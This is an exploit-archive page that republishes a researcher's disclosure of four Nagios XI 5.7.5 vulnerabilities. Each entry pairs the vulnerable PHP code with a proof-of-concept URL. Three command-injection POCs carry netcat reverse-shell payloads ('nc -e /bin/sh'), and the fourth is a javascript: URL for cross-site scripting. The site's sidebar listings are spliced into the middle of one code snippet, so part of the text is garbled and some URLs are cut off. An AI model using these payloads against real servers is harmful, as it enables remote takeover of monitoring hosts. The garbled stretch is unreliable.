Nagios XI 5.7.5 Remote Code Execution

Authored by fs0c-sh | Site github.com

Posted Feb 26, 2021

Nagios XI version 5.7.5 suffers from a cross site scripting and multiple remote code execution vulnerabilities.

tags | exploit, remote, code execution
advisories | CVE-2021-25296, CVE-2021-25297, CVE-2021-25298, CVE-2021-25299
SHA-256 | 1c4f0a48f176dfe70f8a573c15bf859e525e542de8476de9e2f2e8911e7b671f

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# nagios-xi-5.7.5-bugs
Bugs reported to Nagios XI


## CVE-2021-25296

### Code Location

`/usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php`

### Code snippet

```php
if (!empty($plugin_output_len)) {
    $disk_wmi_command .= " --forcetruncateoutput " . $plugin_output_len;
    $service_wmi_command .= " --forcetruncateoutput " . $plugin_output_len;
    $process_wmi_command .= " --forcetruncateoutput " . $plugin_output_len;
}
echo $disk_wmi_command;
// Run the WMI plugin to get realtime info
exec($disk_wmi_command, $disk_output, $disk_return_var);
exec($service_wmi_command, $service_output, $service_return_var);
exec($process_wmi_command, $process_output, $process_return_var);
```

POC (Works with admin/non-admin authentication)

`https://10.0.2.15/nagiosxi/config/monitoringwizard.php?
update=1&nsp=50c0f98fe9018dc43c81672ad1aeed5fd3f9710f013381519e553f846b5c2a86&nextstep=3&wizard=windowswmi&checl
nc -e /bin/sh 127.0.0.1 4444;&submitButton2=`

The `plugin_output_len` variable here is not sanitized and can give `command execution`. Eg:
`plugin_output_len=1024; nc -e /bin/sh 127.0.0.1 4444;`

CVE-2021-25297

Code Location

`/usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php`

Code Snippet

```php
function switch_configwizard_add_cfg_to_mrtg($address)
{
    // get the data that we need
    $mrtg_confd_dir = "/etc/mrtg/conf.d";
    echo $address;
    $mrtg_cfg_file = "{$address}.cfg";
    $absolute_mrtg_cfg_file = "{$mrtg_confd_dir}/{$mrtg_cfg_file}";
    $cfgmaker_file = switch_configwizard_get_walk_file($address);
    // check if the file already exists for useful debugging
    $mrtg_confd_contents = scandir($mrtg_confd_dir);
    echo "REACHED HERE1";
    if (in_array($mrtg_cfg_file, $mrtg_confd_contents)) {
        debug("{$mrtg_cfg_file} exists in {$mrtg_confd_dir}, overwriting");
    } else {
        debug("{$mrtg_cfg_file} does not exist in {$mrtg_confd_dir}, creating");
    }
    echo "REACHED HERE2";
    // copy the cfgmaker file to the mrtg cfg destination
    echo $cfgmaker_file;
    echo $absolute_mrtg_cfg_file;
    if (!copy($cfgmaker_file, $absolute_mrtg_cfg_file)) {
        debug("Unable to copy from {$cfgmaker_file} to {$absolute_mrtg_cfg_file}");
        return false;
    }
    echo "REACHED HERE3";
    echo $absolute_mrtg_cfg_file;
    // add some meta info to the file
    $infoline = "#### ADDED BY NAGIOSXI (User: ". get_user_attr(0, 'username') .", DATE: ".
get_datetime_string(time()) .") ####\n";
    exec("sed -i '1s|.*|{$infoline}&|' $absolute_mrtg_cfg_file");

    return true;
}
```

POC (Works with admin/non-admin authentication)

```
https://10.0.2.15/nagiosxi/config/monitoringwizard.php?
update=1&nsp=4e4f78ca5c24c7c526dc86b23092b81c3231a7bf59e1eb67f9918b8daf7b6de9&nextstep=3&wizard=switch&ip_addres
-e /bin/sh 127.0.0.1
4445;&port=161&snmpversion=2c&snmpopts%5Bsnmpcommunity%5D=public&snmpopts%5Bv3_security_level%5D=authPriv&snmpo
```

The `ip_address` variable here is not sanitized and can give `command execution`. Eg: `ip_address=1024; nc -e
/bin/sh 127.0.0.1 4444;`

CVE-2021-25298

Code path

`/usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php`

Code Snippet

```php
case CONFIGWIZARD_MODE_GETSTAGE2HTML:

  //    echo ("reached here ============================");
            // Get variables that were passed to us
            $address = grab_array_var($inargs, "ip_address", ""); // [User input]
            $port = grab_array_var($inargs, "port", "");
            $token = grab_array_var($inargs, "token", "");
            $no_ssl_verify = grab_array_var($inargs, "no_ssl_verify", 1);
            $hostname = grab_array_var($inargs, 'hostname', gethostbyaddr($address));
            $default_mem_units = grab_array_var($inargs, 'default_mem_units', 'Gi');
            $tcp_check_port = grab_array_var($inargs, 'tcp_check_port', '5693');
            $rp_address = nagiosccm_replace_user_macros($address);
            $rp_port = nagiosccm_replace_user_macros($port);
            $rp_token = nagiosccm_replace_user_macros($token);
            $services_serial = grab_array_var($inargs, "services_serial", "");
            if ($services_serial) {
                $services = unserialize(base64_decode($services_serial));
            }
  //    echo $rp_address;
            $not_used = array();
            $return_code = 0;
            $alternative_host_check = false;
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 201 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)
```

```
            exec('ping -W 2 -c 1 ' . $rp_address, $not_used, $return_code); // [Bug here]
```

POC (Works with admin/non-admin authentication)

```
https://10.0.2.15/nagiosxi/config/monitoringwizard.php?
update=1&nsp=e2401df06a3892ba612df20e1ce2f559d7647c4b5fcba7f64c23c0ea9df1564f&nextstep=4&wizard=digitalocean&no_
-e /bin/sh 127.0.0.1 4445;&port=5693&token=123&submitButton2=
```

The `ip_address` variable here is not sanitized and can give `command execution`. Eg: `ip_address=1024; nc -e /bin/sh 127.0.0.1 4444;`

CVE-2021-25299

Code Location

`/usr/local/nagiosxi/html/admin/sshterm.php`

Code Snippet

```php+HTML
<?php if ($efe) { ?>
    <iframe src="<?php echo $url; ?>" style="width: 50%; min-width: 600px; height: 500px;"></iframe>
    <?php } else { ?>
    <div style="color: #FFF; font-size: 14px; font-family: consolas, courier-new; background-color: #000;
padding: 2px 6px; overflow-y: scroll; width: 50%; min-width: 600px; height: 500px;">Enterprise features must be
enabled</div>
<?php
}
```

POC

`https://10.0.2.15/nagiosxi/admin/sshterm.php?url=javascript:alert(1)`

The `url` variable is not sanitized and can give `xss` .